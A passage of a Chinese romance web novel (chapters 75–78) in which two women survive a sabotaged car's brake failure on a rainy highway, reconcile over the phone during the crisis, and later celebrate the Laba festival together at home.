“好,我帮你。”纪青云轻轻攥住了阮陶然的手,轻声道,“别急,有我。” 这个决定的确不明智,但是这是阮陶然想做的事情,所以,她选择支持。 第75章 第 75 章 还好,她是安全的…… 晨起, 晨曦洒向大地,酒店窗帘的遮蔽性很强,房间内还是一片黑暗。 “叮——”放在枕边的手机响了一声。 阮陶然迷迷糊糊拿起来看了一眼, 盖下去,然后像是骤然想起了什么, 一下子睁开了眼睛。 这条信息,来自于昨天晚上孙绍祖给的名片上的号码。 一张图片,还有一个定位, 定位的位置是个会所, 就在海城的范围之内。 阮如月穿一袭猩红色的吊带短裙, 丝绸质地的面料紧紧贴着身体, 勾勒出玲珑的曲线, 红唇带着笑, 笑意却明显不达眼底, 伸手搂着一位中年男人的胳膊。 阮陶然来不及洗漱, 一路小跑着去敲了纪青云的门。 新的消息发过来:三个小时之内,带着五百万现金来。 “五百万?”纪青云蹙了蹙眉,这个数字, 实在是太少了,对于孙绍祖这样的人来说, 还不够随手漏下来的零花钱。 如果说,孙绍祖所说的交易就是五百万,未免, 让人觉得不可信。 “先按照他说的办……”纪青云的指腹压在阮陶然的手背上, 轻轻摩挲过去,表示安抚。 不过,不能完全按照他说的办。 纪青云和阮陶然出发的时候, 车里多了个穿着便衣的警察。 绑架案,短时间之内就引发了警察的关注。 这家会所的位置比较偏僻,靠近郊外,此刻不是营业时间,远远就看到,会所关着门。 但很明显,她们的举动在监控之中,车刚刚到门口,阮陶然就收到了新的消息—— 门没锁,推门进来,三楼。 阮陶然走入会所的时候,心里并不害怕。 已经报警了,在海城的地界上,在一个和平的大国之中,在警方的眼皮子底下,是不会出现意外的。 三楼的包厢都大多都开着门,可以看到里面彻夜欢乐之后的一片狼藉。 不用新的消息指示,阮陶然一行人就找到了目的地——三楼最尽头的包厢,里面还响着音乐,包厢门没关,清清楚楚听到男男女女的喧哗声,还有唱歌的声音。 推开门,里面的人并不把这几个人放在眼里,依旧觥筹交错,欢声笑语。 直到警方一拥而进,把所有的人都控制住。 阮陶然的目光在人群之中逡巡而过,就见到了在角落沙发上坐着的阮如月。 她就穿着照片里的那件吊带短裙,妆容精致到每一根眼睫毛,慵懒地靠坐着,不经意之间的抬眸,便顾盼留情。 做她身边的男人搂着她的腰,低声说着什么,两个人的笑声混在一起。 阮陶然跨过人群,走到了她面前,闻到熏天的酒气,忍不住蹙了蹙眉。 “阮如月。”阮陶然的声音惊醒了半醉之中的阮如月。 她抬起眸子看过来,一瞬间惊诧之后,唇角扬起淡淡的笑容,下颌微微抬起:“怎么,我的好妹妹,也来这种地方玩儿?你不是最乖巧,最懂事,最礼貌的吗?” “宝贝儿,这是谁啊?你妹妹?介绍给我认识?”那搂着阮如月的男人也是一脸轻佻的笑。 “她啊,你可高攀不上。”阮如月轻笑着,红唇印在酒杯上,殷红的酒水染在唇角。 “跟我回去。”阮陶然只觉得这里的酒气熏得她头疼。 “跟你回去?”阮如月眉眼一扬,“你算是什么人?” 会所合法经营,没有匪徒,没有绑架,没有人被限制人身自由。 但所有人还是都被带回到局子里面查了一遍。 阮如月是阮陶然签字接出来的,她肩上披了件不知道谁的西装外套,根本没给阮陶然一个眼神,转身就往外走。 但还没走出两步,手腕一沉,整个人就被纪青云拽了回来。 “你——”阮如月想发火,对上那双冷得彻骨的浅琉璃色眸子,硬生生压住了火气。 那个眼神,是上位者的眼神,高高在上,充满了压迫感,让她觉得有一瞬间危险的感觉。 “你是想要在我面前炫耀吗?”阮如月揉了揉手腕,眸子里却依旧是不屑的神色。 “现在你满意了?” “你高高在上,光芒万丈,人人都喊你一句阮总,我落入尘埃里,你是不是很高兴?” “我还没输,我真的还没输,没到最后一刻,谁也不知道谁笑到最后。” 她眸子里的偏执,还有语气里微微的疯狂,简直呼之欲出,眼神像是盯紧了猎物的毒蛇,不甘且狠毒。 “我从来不想和你论输赢。”阮陶然的情绪却很平静。 “你跟我回去,我会在公司给你安排合适的职位,跟着孙绍祖……没有好结果。” “跟着你就有好结果了吗?”阮如月轻哼一声,“我们俩,不是什么好姐妹,更不是什么好朋友。” “孙绍祖骗了你,那个孩子,早就死了。”阮陶然说这句话的时候,心里有一瞬间的怜悯。 阮如月怔了一下,语气漫不经心:“怎么?想出来新的骗我的招式?” 阮陶然只觉得头疼,阮如月陷进去了,而且是自己一脑袋往里面扎,拉都拉不住。 “我查到了,殡仪馆的位置。” “他还没有下葬。” 阮陶然缓缓说道,“你可以,亲眼去看看。” 阮如月的眸子沉下去,一时之间没有说话,她的眸子里,似乎在思忖,阮陶然这句话的可信度。 “你可以不相信我,但这是昨晚上我托明家查出来的。” “在海城,没有明家查不到的消息。” “就在城南殡仪馆,孩子母亲那一栏上,填着你的名字。” 海城明氏,赫赫声名。 阮陶然觉得,阮如月应该是信了的,因为她的脸色一下子变得苍白下去,捏着西装外套的指尖也在微微发抖。 但她向来不愿意在阮陶然面前承认自己的失败。 “我不信。”阮如月说完,拉了拉身上的西装外套,踩着高跟鞋就走了。 这次,阮陶然没有阻止她的离开。 只是看着她离去的背影,轻轻叹了口气。 尽人事,她能做的就只有这些了,阮如月执迷不悟,她没有一点办法。 “走吗?”纪青云握住了阮陶然的指尖,微凉的温度传递过来。 “你的手怎么还是这么冷?”阮陶然下意识张开手,把纪青云的指尖拢在手心轻轻暖着。 虽然纪青云的身体指标已经恢复正常,已经康复出院,她总还是觉得不放心。 “我的体温好像本来就低一些,一直都是这样,是正常的。”纪青云说道。 “这怎么行?”阮陶然立马蹙了眉,“别总不把这些小问题当回事,要找医生回去好好调理调理。” 纪青云的唇角微微扬了扬,点了点头:“好,都听你的。” 阮陶然这才意识到自己刚才说了什么话,她刚才的语气像是……在命令。 但是习惯了不容置疑的纪青云,居然没有任何不满,反而是很高兴的样子。 她没有说什么话,牵着纪青云的手往外走。 这一段路,走得很慢很慢,耳边有很多驳杂的声音,人来人往的脚步声,风声呼呼的声音。 她清清楚楚听到自己的声音——何必要论个输赢。 很多事情就是如此,尤其是情感,不是你捅了我一刀,我就要捅回去。 否则,只会变成阮如月那样偏执想要赢的疯子。 纪青云已经在改变了,其实那个和好了没有的问题,答案已经在她心里了。 出了门,冬天的风还有些冷。 阮陶然一眼看到了,依靠在墙边的阮如月。 她拿着一个打火机点烟,点了好几下,火苗都被风吹灭。 她的手也一直在抖,完全没有办法点燃手里的烟。 “阮陶然……”她抬头看过来,眼眶红红的,似乎是刚刚哭过。 穿得本来就薄,被风一吹,衬着脸上苍白的颜色,像是能被风吹走的纸人。 她手中的烟落在地上,她没有捡,只是声音有些发抖:“你能……陪我去殡仪馆吗?” 刚才阮陶然已经告诉了她,是哪家殡仪馆,她出门就能查到殡仪馆的电话,并且打电话过去。 真的,有那么一个孩子。 是个男婴。 月份,时间,都合得上。 孙绍祖告诉她,孩子早产,被带回到宝岛好好养着。 可现在……她一时之间居然不知道信谁,居然只剩下眼前的阮陶然。 从这里到城南殡仪馆,跨越整个海城,要五十公里,阮如月全程没说话,一直愣愣地看着窗外的景色。 直到,看到那个男婴,她一时间没有站稳,双腿一软,一下子跌坐在地上。 阮陶然也只觉得心头沉重,沉沉呼吸了两口气,交了钱,陪着阮如月等着领骨灰。 “如果你愿意回来,公司会有你的位置。”阮陶然轻声说道。 “我什么都没有……”阮如月双手紧紧把自己抱住,用力到微微发抖。 “为什么你们什么都有?我什么都没有?” “没人偏心我,没人真的为了我的未来做打算,没人在意我过得好不好。” “我就是想要活得漂漂亮亮的,我有什么错吗?” “我没错,我只是想要……我想要的东西……” 她轻声喃喃自语,唇色惨白,没有一丝一毫的血色。 阮陶然没说话,有些事情,是说不明白的。 她当然可以活得漂漂亮亮的,但不是通过现在这种方式,依附于一个不靠谱,没有希望的男人。 不是没有人在意她。 最应该在意自己的人,就是自己。 现在跟阮如月说这么多,她理解不了,她前半生从未想过这样的话题。 她的人生一直在争,一直在抢,但自己都没想清楚,在争什么,在抢什么。 或者说……她也只是一个人生的失败者…… 阮陶然不觉得高兴,只觉得有股淡淡的悲哀和难过。 回程的车里也有些安静,阮如月就抱着那个小小的骨灰盒,也不说话。 阮陶然给纪青云发了消息—— 上高速了,很快就回去了。 城南是郊区,要回市区,要走一段时间的城郊高速。 谁知道,就在这条消息发出去的时候,前面司机有些微微紧张的声音传递过来。 “阮小姐,出事了。” “刹车失灵了。” “什么?”阮陶然一手攥紧了手机,“来的时候不还好好的吗?” 司机是纪青云安排的司机,绝对是经验老道的老司机。 “是的,来的时候我检查过车子,好好的,一点问题都没有。” “只有可能是停在殡仪馆的时候……” 司机的声音依旧沉稳:“阮小姐,你们系好安全带,我想办法把车停下来。” 如今,车在高速上,110以上的速度,回程是完全的下坡路,这怎么停? 阮陶然的脑子有些微微空白,连忙检查了一遍身上的安全带,还检查了阮如月身上的安全带。 殡仪馆…… 紧急之中,脑子居然还真的想出来些线索。 孙绍祖,他的目标从来都不是五百万,就是为了引她们到殡仪馆。 “是孙绍祖……”阮陶然沉声。 “怎么可能?”阮如月的声音有些凄厉,“他和我领了证,我是他的合法妻子,他要害死我吗?” 阮陶然忽然一下子就想通了。 合法妻子……也就是他可以有阮如月的继承权…… 阮陶然死了,阮家剩下来的人,各个都是扶不上墙的阿斗,到时候孙绍祖三言两语,好女婿就把公司骗到手了。 阮陶然的手心起了一层的手汗,她想要让自己镇静下来,但是脑子里纷繁复杂。 最后只抓住了一个念头——还好,纪青云没来。 本来她们是一起来的,纪青云临时接到明氏的电话,赶过去了。 所以,现在纪青云是安全的。 还好,她是安全的。 第76章 第 76 章 我一直,在等着你 “阮小姐, 你们放心,我会想办法的。”司机的声音很沉稳。 但这并不足以安慰惶恐不安的心。 阮陶然不知道他是真的不慌不乱,还是为了安慰她们表现出来的不慌不乱。 阮如月的脸色都是一片苍白的:“怎么可能……他说喜欢我的……” “他说我生了孩子就是长孙, 他在父亲面前扬眉吐气,长孙也会得到家族的重视, 以后前途无量……” 阮陶然没有尝试劝慰她,有些事情,要她自己想明白。 阮陶然的手机震动起来, 屏幕上的备注跳动不安, 阮陶然的指尖有些抖, 却还是沉沉呼吸了两口气之后, 调整了自己语气的状态然后接起来电话。 “喂。”她语气很淡, 听不出来正在一辆奔驰不止的危险车上。 是纪青云的声音, 接通了, 就传递过来:“别怕, 我来了。” 她的声线很稳,听得出来,她想要保持一如既往的沉稳, 但是明明,语速比平时快了些。 司机这里的消息已经同步到了纪青云那里, 以及已经报警,有交通警察正在指挥道路上的车避让。 纪青云的声音背景里面,可以听到拉长了的警笛声, 像是一声一声砸在人的心上, 引得人心一紧。 阮陶然张口,还没来及说话,顿时觉得眼眶有湿润的触觉滑下去。 她不是不怕, 她怕极了,她还从未遇到过这样的状况。 但出口的声音却不带哭腔,像是说着家常的话:“你忙完了?” “嗯,明氏已经答应出手,接下来只要稳住局势,就能通过难关。”纪青云的语气也很平静。 不像是一通在生死危机之中的电话,就像是茶余饭后,平静的闲谈。 但,这平静又像是只是表面一张一碰就碎的纸,她们在尽力保持平静,安慰对方,不让对方恐慌。 纪青云的声音持续不断地从话筒里传递出来:“明总说海城的海景很好看,我们可以多留两天。” “明天我们去喂海鸥,傍晚的时候,还可以出海看橘子海。” “我记得,你很喜欢大海。” “嗯。”阮陶然点了点头,轻声说道,“是很喜欢,小的时候喜欢去沙滩玩沙子……” 她说到这儿,语气顿了一下,轻声道:“你怎么什么都知道?” 轻轻笑了一声,阮陶然说道:“肯定是林晓晓这个叛徒。” “她很有原则,牵扯过深的话题,都不肯告诉我。” “对不起。”纪青云缓声道。 “你现在怎么这么喜欢道歉?”阮陶然有些无奈。 她的视线看向车窗之外,车速越来越快,越来越快,路边的景色都拖出来残影。 她仿佛听得到呼啸而过的风声,牵动着她的神经。 海城靠海,远远就可以看到大海的方向,似乎闻得到海水的腥味,看得到一层一层的白浪。 “我不知道该怎么做,只能感觉到,有些行为,你不是很喜欢。” “好似只有道歉,能让我们之间的距离近一些。” “我只是想多了解你一些,对不起,利用了你的好朋友。” 一个急弯,饶是司机早就做好了准备,但是车速太快,阮陶然觉得自己还是一瞬间被甩出去。 腰腹之间的安全带猛地拉住,把她固定在座位上,手肘撞在车门上,咚的一下,手里的手机飞出去。 “然然,然然——”话筒里传来急切的声音。 阮陶然从未听过纪青云这么着急的声音,几乎恨不得跨越手机飞驰过来。 往日八风不动,理智得不似人的纪总,完全掩饰不住自己的慌乱。 “没事。”阮陶然捡起来手机,揉了揉手肘,疼得微微倒吸了口凉气。 这一下撞得狠,尤其是撞在了关节的位置,现在整条小臂都是麻的。 “我们……明天好像看不了橘子海了……”阮陶然目色望向远处,轻声说道。 “不准胡说。”纪青云冷声打断了阮陶然的话。 她背后起了一层的冷汗,于后视镜之中,见到自己惨白的脸色,她尽量保持了语气的平静,但放在膝上的指尖一寸一寸收紧,膝盖上的刺痛,才让她保持了理智得清醒。 快一些,再快一些,马上就能上高速,追上阮陶然的车。 她心里焦躁不安,伸手解开了领口的扣子,但语气从容:“别胡思乱想,我们马上就到了。” “不是……”阮陶然明白,纪青云似乎是误会了什么,解释说道,“我是说,要下雨了,明天可能没有落日。” 一团黑压压的云,沉沉地朝着天地之间压下来。 临海城市,稍有气候变换,风声就猛烈,道路两边的树高大挺拔,树叶摇摆不定,簌簌作响。 这应该是个坏消息。 因为刹车依靠的是摩擦力,下雨会让地面更湿滑,更容易失控。 如果在车速很高,地面很滑的情况下出现急弯,车很容易直接横飞出去。 殡仪馆是孙绍祖精挑细选的,这条路也是他选好的路,一路下坡急弯,根本不给人缓一口气的机会。 噼里啪啦的雨点砸落下来,落在车窗上,落在顶棚里,哗啦啦的声音,砸得人心里也在打鼓。 前挡风玻璃一下子被水痕漫过,司机的视野迅速受限,雨幕里,什么都看不清,似乎更加危险了。 轰隆的一声雷响,闪电的光芒划破天地之间的暗沉,炽白的光照在人的脸上。 纪青云攥着手机的指尖微微一紧,呼吸瞬间也停住,她好似看到眼前白茫茫的光影,将她吞没。 仿佛,眼前有一扇门。 推开之后,看到那被吊在半空之中的,失去了体温的身影。 她在一场大雨之中,失去了这世界上最后的亲人。 又是一场大雨,无情的大雨,噼里啪啦往下坠落。 阮陶然也听到自己扑通扑通的心跳声,扶稳了身体,伴随着狂奔的车辆,越过几个急弯。 她听到自己浓烈的呼吸声,然后听到话筒里的声音:“我看到你了。” 是纪青云的声音,就像是在闪电雷鸣之中,撕开了一道裂缝,平静的光洒落下来。 无关车辆已经被清退,呼啸的警车开过来,与阮陶然的车平齐,然后超过阮陶然,在前面开路。 一辆黑色的迈巴赫加速赶上,走在和阮陶然的车齐平的位置。 隔着雨幕看过去,阮陶然看到,那辆迈巴赫后座车窗上,纪青云的脸。 因为有雨幕,所以不是很清楚,她看不清,但她却有一种无比的直觉——那就是纪青云。 “我也……看到你了。”阮陶然的手印在车窗上,她有些分不清楚,眼前是雨幕,还是泪痕。 指尖碰触的是车窗的冰凉,隔着这样的距离,她碰触不到纪青云。 “姐姐……”她声音很轻很轻。 缓缓说道:“我们算是和好了吗?” 一瞬间心理防线的崩塌,她此刻心里的执念居然是这个问题,她有些控制不住自己说出口的话。 “算,当然算。”纪青云立刻就有回应,“我一直,在等着你。” “真好……”阮陶然轻声喃喃自语了一声。 她不知道此刻得到这个答案,是欣喜,还是难过,命悬一线的时候,她得到了自己想要的答案。 “其实,我觉得自己也有些小脾气。” “我很心疼你。” “从小到大,没有人教过你怎么喜欢一个人。” “我也只顾着自己的脾气,从来没和你聊过这些。” “我不想做你的金丝雀,我想站在你身边,做你的恋人,你的爱人。” “想要光明正大的,平等的,和你谈一场恋爱。” “姐姐……” “我是不是痴心妄想了。” “我居然想要,真的把月亮摘下来。” 阮陶然只觉得自己心里反而有前所未有的平静,似乎把这一切说出来了,就不再有遗憾。 “我是你的月亮吗?”纪青云的声音,似乎有些闷闷的,像是有些鼻音,又像是,只是人的幻听。 “是。”阮陶然缓缓说道,“很好很好的月亮。” 纪青云是高不可攀的月光,高高在上,清冷无双,是她逐渐升起野心,想留在月光的身边,想要占为己有。 “那然然……” “是我的太阳。” 轰隆的雷响里面,纪青云的声音很坚定,坚定到让阮陶然一瞬间控制不住汹涌的泪流淌出来。 纪青云也在隔着雨幕,看向那辆失控了的车子。 她心里的恐慌无人能懂,她有多害怕,又在一场大雨之中,再次永失所爱。 过往的一切,仿佛电影画面在她面前掠过—— 那个甜甜的笑,像是阳光一样灿烂,微微扬起的唇角,是春光一般的弧度,她会扑过来,扑进她的怀里,紧紧抱住。 会俏皮地喊她姐姐,会逗她开心,会偷偷亲她,会得寸进尺…… 会挽着她的手,一起爬山,一起徒步,一起看日出日落。 会喝醉了之后对她撒娇。 那是鲜活的记忆,关于阮陶然的记忆。 而仔细去想,这些,居然是她人生之中,最亮的光彩。 她的人生不止有工作,不止有尔虞我诈……还有一段灿烂的阳光,美好的回忆。 第77章 第 77 章 雷雨夜会做个好梦 雨越下越大, 就像是天漏了个洞,瓢泼的大雨已经完全遮住了视线。 继续行驶下去,无疑是在走钢丝, 所以交管部门的指挥员迅速做出了决断,尝试用前面的车逼停这辆失控的车。 但这, 明显是个很危险的决定,对于两辆车来说,都很危险。 司机握紧了方向盘, 控制着前进方向不要偏移, 前面的车慢慢降下速度来。 咚的一下——车辆头部和前车的尾部碰撞在一起。 速度猛地下降, 导致车上的人随着惯性往前一扑。 尽管提前坐好了准备, 阮陶然还是猛地一下撞上了前面的座椅, 攥紧了手机, 稳住了身形。 “我没事。”她轻声跟手机对面说。 “好, 我知道, 你坐稳了,交给司机。”纪青云的语气也很稳。 速度稍微降下来一些,前车踩稳了制动, 两辆车的速度迅速下压,可速度依旧很快。 快得看不清楚外面的风景, 一片雨幕之中,阮陶然已经有些看不清楚隔壁的车子。 不过,这是个好消息, 毕竟速度在下降。 这段路是精心选择的一段平直的路, 只要这么稳稳压住,速度就可以降下来。 可也就在大家都松了一口气的时候,阮陶然所坐的这辆车猛地一偏, 一个极致的猛甩,把人咚的一下撞在车门上。 司机拼命把稳了方向盘,车辆被拉回到原路,但已经不能平稳行驶了,整个车身呈现倾斜的状态。 高速、倾斜、下雨……只要一点点的平衡被打破,整辆车都会滚出去。 “右后轮,胎压已经降到1.5,刚才行驶过程之中,胎压就在缓慢下降。” “估计可能是扎了钉子,一直在漏气。” “现在只能勉强维持平衡。” 司机有条不紊地跟交管部门沟通,他现在所能做的,只有握住方向盘,拼命握紧了方向盘。 前车车尾受损,通话里,指挥员正在指挥后面的警车往前顶,替换前车下来。 “我们的车可以。”纪青云的声音从话筒里传递出来。 冷静,平静,但语速明显加快:“我的车,制动效果更好。” “可……”指挥员明显有些犹豫。 “我的司机受过专业训练,在部队服役八年,专业的军车驾驶员。”纪青云沉声道,“相信我们。” 失控的车随时可能侧翻,逼停的每一次碰撞都是在冒险。 而且过了这段路,前面的路就开始有急弯,完全没有办法逼停。 有可能,他们就只剩下一次机会。 可这样,是让纪青云也陷入危险之中。 “不要……”阮陶然几乎下意识就喊出了声。 “等我。”纪青云沉而缓的声音从话筒里传递出来,她强调了一遍,“然然,等我。” 几乎是在这个决定得到批准的一瞬间,迈巴赫加速朝前行驶,然后变道到失控的车辆前面。 司机面色沉稳:“纪总,准备好了。” 只要纪青云一声令下,他就会慢慢降下车速,两辆车就会撞在一起。 “姐姐。”轻轻的声音从话筒里面传递出来。 “别怕。”纪青云的声音里也有些柔和,她的紧张是隐于水下的冰山,巍巍赫赫,却隐而不见。 “我不怕。”阮陶然只觉得自己眼眶里的眼泪控制不住往下落。 “如果……如果这是我能留下来的最后一句话的话……” “姐姐,我真的最喜欢你了。” 纪青云放在膝盖上的指尖微微收紧,金丝眼镜之后,浅琉璃色的眸子冷凝一片。 说出口的语气却很平缓:“傻子,不会是最后一句话。” 她不信,孙绍祖能算得这么精准,她不信,今天她没办法截停那辆车。 纪青云轻声道:“开始,减速。不惜代价,截停。” “是。”司机颔首,缓缓松开油门减速,雨幕之中,两辆车越来越近,越来越近。 “咚——”猛地碰撞,纪青云整个身体朝前扑过去。 但她脱口而出的第一句话就是:“后车怎么样?” “没有侧翻,倾斜在可控范围之内,速度正在减慢。”后车司机的声音传递过来。 这个减速的时间依旧漫长,阮陶然只觉得车辆左摇右摆,仿佛下一刻,就会滑出去。 但也就在每次即将滑出去的时候,就被险而又险地拉回来。 前车,一直稳稳地挡在前面。 刺——是猛烈的刹车声,在雨幕之中似乎要冒出来火花。 剧烈的声音里,猛烈的暴雨里,两辆车就这么生死与共,车头衔接车尾,疯狂减速。 “前面,急弯。”通话里传来焦急的声音。 “明白。”纪青云的司机沉声,脚下的制动踩得更猛一些。 阮陶然发誓,她这辈子再也不会坐过山车了,急弯就在眼前,车终于,缓缓刹停。 雨依旧很大,轰隆的惊雷声,浓云滚滚,压得天地之间一片暗色,仿佛世界末日。 前车的车门猛地打开,一道身影匆匆没入雨中。 阮陶然的手在发抖,她身边的车门被拉开,她见到纪青云焦急的面色,一瞬之间大脑一片空白。 一个潮湿寒冷的怀抱,紧紧把她拥住了。 按在她背上的手掌也忍不住在收紧收紧,但纪青云的声音依旧很稳:“好了,好了,结束了。” 暴雨打湿了两个人的衣服,雨水黏得人睁不开眼睛来,阮陶然也伸手过去,紧紧搂住了纪青云。 警车环绕,停止下来,蓝红两色的光芒流转。 所有人却都很默契地,没有打扰她们,让这个拥抱,持续了很久很久。 海城医院,纪青云匆匆换了身上的衣服。 阮陶然正在接受检查,几次碰撞,导致她身上不少青青紫紫的痕迹。 但好在,大多都是皮外伤,没有伤到骨头,问题并不严重。 微微有些脑震荡,需要观察一天才能出院。 病房里,一片触目惊心的白,仿佛人的神魂还在天上飘,直到纪青云的手握过来,微凉的温度,阮陶然如梦方醒。 紧紧抓住了纪青云的手,阮陶然一句一句说出来自己的猜测。 只有孙绍祖,唯有孙绍祖,才能精心算计这么多。 弄坏了刹车之后,又在轮胎扎了钉子,运气只要差一点点,绝对就是有死无生。 “但这只是猜测,我们后面会进行调查。”做完笔录,屋内的人退去。 纪青云贴着阮陶然坐下来,轻轻搂住了阮陶然的肩膀。 “会查清楚真相吗?”阮陶然轻声道。 上次,阮陶然被绑架的事情,关了他一段时间。 但这位公子哥,明显是个,疯子。 他既然做出来这一切,就做好了把自己摘出来的准备。 殡仪馆的监控损坏,并不知道什么人靠近过车子,想要查出来痕迹,很难很难。 “放心,会的。”纪青云只是这么说道。 她没有说那些困难,只是轻声问道:“饿了吗?要不要吃点东西?” 此刻已经过了饭点,阮陶然一点都不饿,但是为了不让纪青云担心,她还是点了点头。 只吃了两口,阮陶然就吃不下去了。 本想多吃两口,免得人担心。 却听到纪青云说道:“吃不下可以不勉强。” 她抬眸撞入一片浅琉璃色的眸子,纪青云抬手过来,用纸巾擦去了她唇边的油渍:“在我面前,你不用隐藏。” 她起身,轻轻抱住阮陶然,轻声道:“不必隐藏自己的恐惧,也不必强撑着镇定。” 阮陶然回抱回去,她不知道有多久,没人在她面前说这样的话了。 寂静保持了一会儿,纪青云听到怀里有些闷闷的声音:“今晚,可以留下来陪我吗?” 她是一个极少对人提出要求的人,更不必说,对纪青云提出要求。 此刻,早已不再是之前的关系,不需要谨小慎微,她只是在表达,在此刻,她对于女朋友的需要。 “好。”纪青云点了点头。 病房的病床不是很宽,两个人抱着躺在一起刚刚好。 耳边,轻而缓的呼吸声,怀里是一片熟悉的幽冷香味,阮陶然的心缓缓安定下去。 情绪的大起大落之后,被疲倦猛地裹入到黑暗之中。 只是,那种不安全感仍在。 她抱着纪青云的腰,力度很紧很紧,就像是抓住了自己唯一的安全感。 纪青云没睡着,只是拥着怀里的一片柔软,惊恐不定的心还没有落下去。 她在阮陶然面前保持了一片镇定,她不能慌,不能乱,要做阮陶然的支撑,可她心里也是慌乱的。 “唔——”怀里的人似乎不安地动了动。 昏暗的光线里,她看到阮陶然紧蹙的眉头,略微苍白的脸色。 “我在。”柔柔的力度在后背上轻轻拍了拍,纪青云的唇贴着她的耳廓,让人心安缓和的声音,“我在,别怕。” 暴雨未停,轰隆一声,闪电划破天际,照亮病床上拥在一起的身影。 而暴雨过后,终将天边既明,晨曦划破昏暗,带来光明和温暖。 阮陶然的眉心似乎微微松了松,蜷缩着身子往纪青云的怀里靠了靠。 “别怕,姐姐……”她的声音很淡很轻。 哪怕在睡梦里,她似乎还在惦记着,应该惦记的人。 “嗯。”纪青云轻轻点了点头,闭上了眼睛。 尽管是雷雨夜,但应该会,做个好梦。 第78章 第 78 章 一切水到渠成 江城落了雪, 银雪将栏杆和屋檐裹得严丝合缝,路灯透过雾蒙蒙的光,把积雪压弯的树枝影子投在光洁的石板路上。 一片寂静之中, 只有撑伞扫雪的佣人脚步声踏碎薄雪的声,惊不散满院的静谧。 远远地, 就看见窗户口暖黄色的灯光,在昏暗的夜色之中照射出漫漫温情。 纪青云推开家门,听到叮的一声门铃的轻响。 家里温暖如春, 弥漫着一股腊八粥的甜香味道, 玄关处的花瓶里插着两支腊梅, 凛冽的清香。 家里人似乎都放慢了脚步声, 纪青云看到沙发上蜷缩着的人, 心下了然。 她睡着了, 电视里还播放着泡沫剧。 阮陶然蜷缩在沙发上, 毛毯之下盖着小小的一只, 细而长的睫羽垂落下来,随着呼吸的节奏微微起伏。 纪青云脱了外套,在她身边坐下, 指尖轻轻触碰在她的鼻尖上。 睡着的人不安地往后缩了缩,喉咙里发出来“唔——”的轻响, 像是睡舒服了的小动物。 “醒醒,吃饭了。”纪青云的唇角忍不住轻轻扬起,语气轻柔和缓。 垂落的睫羽缓缓抬起来, 露出一双圆溜溜的, 带着迷茫睡意的眸子。 她也没有起身,只是往前蹭了蹭,蹭到了纪青云的怀里, 发顶蹭得乱成一团:“你回来了啊。” “早知道,就不告诉你我今天回来了。”纪青云的手自然而然落在阮陶然的发顶上,轻轻揉了揉。 从海城回来之后,聚少离多,纪青云忙得几乎没时间回家。 全球各地飞去出差考察项目的频率也很高,这次,纪青云出去了二十天之久。 阮陶然很明显,是知道她回来,所以在这里一直等着她,等到自己都睡着了。 “那可不行……”阮陶然嘀咕了一句,轻声道,“你说过,以后什么都不瞒着我的,这就不算数了?” 她伸手勾住纪青云的脖颈,自下而上与纪青云四目相对,圆溜溜的眼睛滚啊滚,脸上是灿烂的笑容。 “当然算。”纪青云轻轻一笑。 这小丫头,鬼灵精怪,撒娇的时候,真的是让人没法招架。 “今天是腊八节,当然要等着姐姐一起回来,喝腊八粥。”阮陶然一骨碌爬起来。 似乎是想起来了什么:“完了完了,我的腊八粥……” “鞋。”纪青云伸手就把人抓住了,“把鞋穿好。” 差点儿就给她光脚跑出去了。 伸手把人拉回来,按在沙发上,纪青云蹲了下去,拿起鞋:“抬脚。” 阮陶然的脚腕很细,她手指一圈就能整个抓住,温热的触觉,还软软的。 阮陶然才不是那种,在这个时候大煞风景,来一句“穿拖鞋不用这样”的人。 她只会高高兴兴把脚伸过去,然后飞起来给纪青云一个大大的拥抱:“姐姐,你对我太好了。” 情绪价值拉满,无论何时,阮陶然总有这种,让人觉得周围都亮起来的感觉。 厨艺不佳的阮陶然,思来想去,决定亲手熬一锅腊八粥作为节日的仪式感。 因为腊八粥这种东西看起来就不会翻车,按照比例加入食材,然后慢慢小火炖就好。 可惜,煮粥的人睡着了。 还好,家里的厨师一直帮忙看着火,最后这锅粥还是浓稠甜香的。 只是煮粥的人有些遗憾:“这样就不算是完全我亲手做的了……” “很好喝。”纪青云倒是很给面子,“当然算你亲手做的,食材都是你亲手放进去的。” 这个亲手做的概念,简直是放了汪洋大海了。 腊八节,这个节日,在纪青云的人生之中根本没有出现过。 在她的人生里,就算是春节这样的大节日,也只是回老宅吃个饭,一起看完烟花,然后就散了的节日。 但是,阮陶然的生活不一样,每个节日,她都会兴高采烈去过,费尽心思去布置。 她的生活是五彩斑斓的。 让纪青云觉得,好似有彩色,正在一点点浸润到她的世界里面。 “还有礼物——”阮陶然眨了眨眼睛,撒娇道,“你先把眼睛闭起来嘛。” “好嘛,好嘛,就配合我一下。” 纪青云缓缓闭上了眼睛,只听到窸窸窣窣的声音,不知道她又在搞些什么东西。 直到最后,轻轻的力度搂住了她的肩膀,阮陶然的声音贴着耳朵传递过来:“可以睁眼了。” “还有,看镜头哦。” 咔嚓一声,相纸从拍立得里面缓缓落出来。 阮陶然捂着相纸在手心里搓了搓,还朝着里面哈了一口气。 “这是干什么?” “让它快些显形啊。”阮陶然满脸期待地盯着相纸。 并不知道这样的办法是不是靠谱,只是此刻,满心的期待,只能用这样的行为表现出来。 相纸之上,两个人的轮廓缓缓浮现出来,贴得很近的两张脸。 阮陶然笑得很开心,像是过年的年画娃娃,纪青云唇角也挂着微微的发自内心的笑。 只不过,纪青云没有看镜头,她在看阮陶然。 清浅的眉眼里浸透着微微的宠溺的笑。 那个八风不动,冷如寒冰的纪总,也逐渐学会了这样温和的笑容。 “第一张就很成功。”阮陶然话语里满都是惊喜。 “我自己试了两张自拍,都不太正,这张居然刚刚好。” “照片归我,拍立得归你。”阮陶然笑着把照片收了起来。 本来,照片也是归纪青云的。 但这张实在是太好看了,纪青云看着她的这个笑容实在是犯规,让她忍不住想要珍藏起来。 “这是礼物?”纪青云接过来拍立得问道。 “对啊,以后我们要用它拍很多合照,过很多节日。” “可是,我没有给你准备礼物……”纪青云轻声道,“要不,明天……” 她想说的是,要不明天我们一起去商场挑选。 但这句话还没说出来就被打断了,阮陶然看着她,笑着说道:“你今天回来了啊,就是很好的礼物。” 纪青云确信,阮陶然正在改变她的生活,这是一种失控的改变,但是她并不讨厌。 说来也奇怪,往常,她是最讨厌失控这两个字的人。 会有人道早安晚安,会有人等她吃饭,会有一盏灯一直等着她,会有人笑着扑到她怀里。 她的生活,她的世界,正在缓缓失控。 吃了饭之后,纪青云没有继续工作,而是陪着阮陶然看了两集狗血的偶像剧。 